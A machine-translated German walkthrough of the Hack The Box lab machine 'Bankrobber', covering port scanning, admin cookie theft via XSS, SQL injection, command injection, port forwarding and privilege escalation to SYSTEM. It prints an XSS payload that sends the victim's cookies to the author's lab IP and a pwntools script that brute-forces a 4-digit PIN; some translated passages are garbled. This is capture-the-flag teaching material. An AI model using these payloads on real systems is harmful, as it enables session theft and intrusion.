Hack The Box. Walkthrough Bankrobber. XSS, SQL Injection, CSRF, Portweiterleitung

Bild

Ich veröffentliche weiterhin Lösungen, die zur weiteren Verarbeitung von der HackTheBox- Site gesendet wurden . Ich hoffe, dass dies zumindest jemandem hilft, sich im Bereich der Informationssicherheit zu entwickeln. In diesem Artikel werden wir die Cookies des Site-Administrators über XSS stehlen, den Code mithilfe von SQL Injection herausfinden, die Shell mithilfe von XSS und CSRF über das Befehlsausführungsformular abrufen, den Port von Windows aus stechen und die PIN der einfachen Geldtransferanwendung mithilfe von pwntools ändern.

Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder von einem Host aus herzustellen, auf dem die für Sie wichtigen Daten verfügbar sind, da Sie in ein privates Netzwerk mit Personen gelangen, die etwas auf dem Gebiet der Informationssicherheit wissen :)

Organisationsinformationen
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

Aufklärung


Dieser Computer hat eine IP-Adresse 10.10.10.154, die ich zu / etc / hosts hinzufüge.

10.10.10.154	bankrobber.htb

Zuerst scannen wir offene Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit einer Geschwindigkeit von 500 Paketen pro Sekunde.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.154 --rate=500

Bild

Für detailliertere Informationen zu den Diensten, die an Ports ausgeführt werden, führen wir nun einen Scan mit der Option -A durch.

nmap -A bankrobber.htb -p80,443,445,3306

Bild

Der Host verfügt über einen Webserver und SMB, und MySQL ist ebenfalls verfügbar. SMB und MySQL geben uns nichts, schauen Sie sich also das Web an.

Bild

Auf der Bitcoin-Website können wir uns registrieren.

Bild

Registrieren wir uns und melden uns an. Wir erhalten ein Formular für die Überweisung von Geldern.

Bild

Nach Abschluss einer einfachen Testanfrage erhalten wir eine Nachricht. Es heißt, dass der Administrator unsere Transaktionsanfrage prüfen und eine Entscheidung treffen wird.

Bild

Dies ist ein sehr großer Hinweis auf XSS. Versuchen wir, den Admin-Cookie zu stehlen. Stellen Sie zunächst den lokalen HTTP-Server bereit.

Bild

Jetzt führen wir die Transaktionsanforderung aus und geben die folgende JS-Last als Nachricht an.
<script>new  Image().src="http://10.10.15.106/xss?param="%2bdocument.cookie;</script>

Beim Versuch, ein Bild hochzuladen, kontaktiert das Skript diese Adresse und sendet uns als Parameter Cookies des Kontos, unter dem das Skript ausgeführt wurde (in diesem Fall des Administrators).

Bild

Es sieht aus wie base64. Wir dekodieren und erhalten den Administrator Login und Passwort.

Bild

Melden Sie sich als Administrator an und sehen Sie, was für uns neu ist. Wenn Sie ein Angebot im Suchfeld des Benutzers senden, erhalten wir eine Fehlermeldung - es liegt eine Injektion vor.

Bild

Ein anderer Server fragt nach dem Befehl dir.

Bild

Aber nur localhost antwortet.

Bild

Kehren wir zur SQL-Injection zurück.

Bild

Wir bestimmen die Anzahl der Spalten und welche davon angezeigt werden.

Bild

Somit werden die erste und die zweite Spalte angezeigt.

BENUTZER


Nachdem wir ein bisschen gesessen haben, finden wir nichts Interessantes. Fahren wir mit dem Backdoorchecker-Modul fort. Suchen Sie ein Ereignis, das auf einen Schaltflächenklick reagiert.

Bild

Gehen Sie zur Browserkonsole und geben Sie den Namen der Funktion ein.

Bild

Wir folgen dem Link zur Funktion.

Bild

Und wir finden, wohin die Anfrage geht. Dank der Injektion können wir die Datei lesen (das erste Mal, dass ich den Standard-xampp-Pfad erraten habe).

Bild

Daher wird der Befehl ausgeführt, wenn der Teilstring "dir" in der Zeile vorhanden ist. Dies ermöglicht es uns, eine Befehlskette zu senden. Es bleibt zu behandeln, die Anfrage sollte von localhost kommen. Wir rufen XSS und die Funktion callSys () auf, die wir aufrufen können, um eine Anfrage zu senden. Überprüfen Sie unsere Annahme.

Bild

Da der Befehl vollständig ist, führen wir RCE mit dem Invoke-PowerShellTcp-Skript aus dem Paket ausNishang .

Bild

WURZEL


Zunächst führen wir die grundlegende Aufzählung des Systems durch. Dafür verwenden wir winPEAS .

Bild

Von allen Ausgaben klammern wir uns an den Port, der auf localhost 910 geöffnet ist.

Bild

Mal sehen, was drauf ist. Zuerst müssen Sie den Hafen werfen. Unter allen Programmen ist Meißel die bequemste Lösung . Führen Sie es auf localhost und Remote-Hosts aus.

Bild

Bild

Jetzt verbinden und sehen, was da ist.

Bild

Ein 4-stelliger PIN-Code ist erforderlich. Wir kriegen das hin.
#!/usr/bin/python3

def clear():
    sys.stdout.write("\033[F")
    sys.stdout.write("\033[K")

from pwn import *

for numb in range(10000):
    PIN = str(numb).rjust(4, '0')
    r = remote('127.0.0.1', 910)
    print("Find PIN: " + PIN, end="\r")
    clear()
    r.sendafter('[$] ', PIN+"\n")
    ans = r.recv()
    if b"Access denied" in ans:
        r.close()
        clear()
    else:
        print("[+] PIN found: " + PIN)
        print(str(ans, "utf-8"))
        break
    
r.interactive()


Bild

Wir finden den PIN-Code und werden aufgefordert, den Transaktionsbetrag einzugeben. Wir machen das und nichts passiert.

Bild

Der Betrag wird an ein Programm übertragen, das als Administrator ausgeführt wird. Wenn wir nichts mehr finden, übertragen wir als Summe eine Zeichenfolge mit 100 Zeichen.

Bild

Bild

Und wir sehen, wie sich die Programmstartlinie zu einem Teil unserer Linie geändert hat. Lassen Sie uns überprüfen, von welchem ​​Index dies passiert ist.

Bild

Wenn wir also eine Zeile mit dem Namen eines anderen Programms übergeben, wird sie ausgeführt. Lass uns nachsehen.

Bild

Bild

Bild

Und die Annahme ist wahr. Laden Sie zunächst netcat herunter.

Bild

Und jetzt machen wir die Rückverbindung.

Bild

Bild

Abrufen von SYSTEM-Berechtigungen.

Sie können sich uns per Telegramm anschließen. Lassen Sie uns eine Community zusammenstellen, in der es Menschen geben wird, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.

All Articles